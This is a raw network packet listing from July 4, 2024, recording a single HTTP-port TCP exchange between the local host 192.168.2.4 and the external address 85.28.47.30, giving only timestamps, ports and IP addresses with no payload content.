Jul 4, 2024 20:34:05.476315022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476330042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476336956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476341963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476361990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476391077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476398945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476408958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476418972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476430893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476444960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476468086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476489067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476546049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476557016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476567984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476577997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476587057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476588964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476598024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476612091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476622105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476623058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476632118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476643085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476645947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476651907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476664066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476675987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476697922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476723909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476835966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476847887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476857901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476867914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476876974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476877928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476887941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476897955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476907969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476911068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476919889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476929903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476939917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476959944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476969957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476979017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476985931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476995945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477006912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477016926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477020025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477026939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477037907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477046967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477077007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477118015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477128029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477138042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477148056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477155924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477164030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477166891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477178097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477183104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477189064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477193117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477204084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477220058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477221966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477252007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477271080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477444887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477454901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477464914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477477074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477488041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477494001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477516890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477538109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477606058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477617025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477626085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477638960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477648020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477657080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477659941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477667093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477674961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477678061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477686882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477696896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477703094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477706909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477716923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477726936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477726936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477737904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477747917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477755070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477761984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477771044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477781057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.477781057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477813959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.477833986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.568638086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568660021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568670988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568681002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568691969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568742990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568753004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568763971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568773985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568783998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568891048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568902016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568911076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568921089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568931103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568941116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568953037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.568963051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569087982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569101095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569111109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569119930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569128036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569135904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569145918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569154978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569164038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569221020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569230080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569238901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569252014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569261074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569339991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569349051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569356918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569365978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569375038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569441080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569449902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569458008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569466114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569475889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569480896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569519997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569540024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569541931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569541931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569541931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569541931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569549084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569557905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569570065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569570065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569601059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569739103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569749117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569757938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569766998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569776058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569785118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569794893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569797039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569803953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569809914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569833040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569847107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569854975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569856882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569865942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569875002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569899082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569911003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569920063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.569926023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.569961071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570035934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570044994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570054054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570061922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570079088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570086956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570087910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570096016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570103884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570106030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570123911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570144892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570218086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570226908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570240021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570267916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570282936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570348978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570358992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570365906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570374012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570384979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570393085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570406914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570406914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570420027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570426941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570436001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570436001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570453882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570475101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570643902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570653915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570662022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570671082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570683002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570692062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570698023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570700884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570709944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570712090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570719004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570728064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570735931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570745945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570749998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570776939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570799112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570841074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570849895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570858955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570867062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570877075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570885897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570894957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570895910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570904016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570914030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570925951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570930958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570935011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570941925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570947886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570957899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570962906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.570969105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570976973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570986032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.570990086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.571007967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.571026087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662411928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662442923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662455082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662472963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662513018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662539005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662673950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662684917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662695885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662708998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662719011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662723064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662731886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662751913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662779093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662782907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662795067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662806988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662822008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662853003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662908077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662918091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662929058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662939072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662949085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662956953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.662960052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662971020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.662977934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663002968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663011074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663016081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663028002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663037062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663047075 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663073063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663218021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663294077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663302898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663314104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663362980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663363934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663376093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663387060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663398027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663428068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663448095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663472891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663484097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663495064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663506031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663516045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663525105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663541079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663575888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663676977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663687944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663697004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663707972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663717031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663733959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663738012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663743973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663753986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663764954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663774014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663775921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663785934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663789988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663821936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.663930893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663942099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663950920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663960934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663970947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663980961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663990974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.663996935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664001942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664011955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664021969 CEST	49730	80	192.168.2.4	85.28.47.30
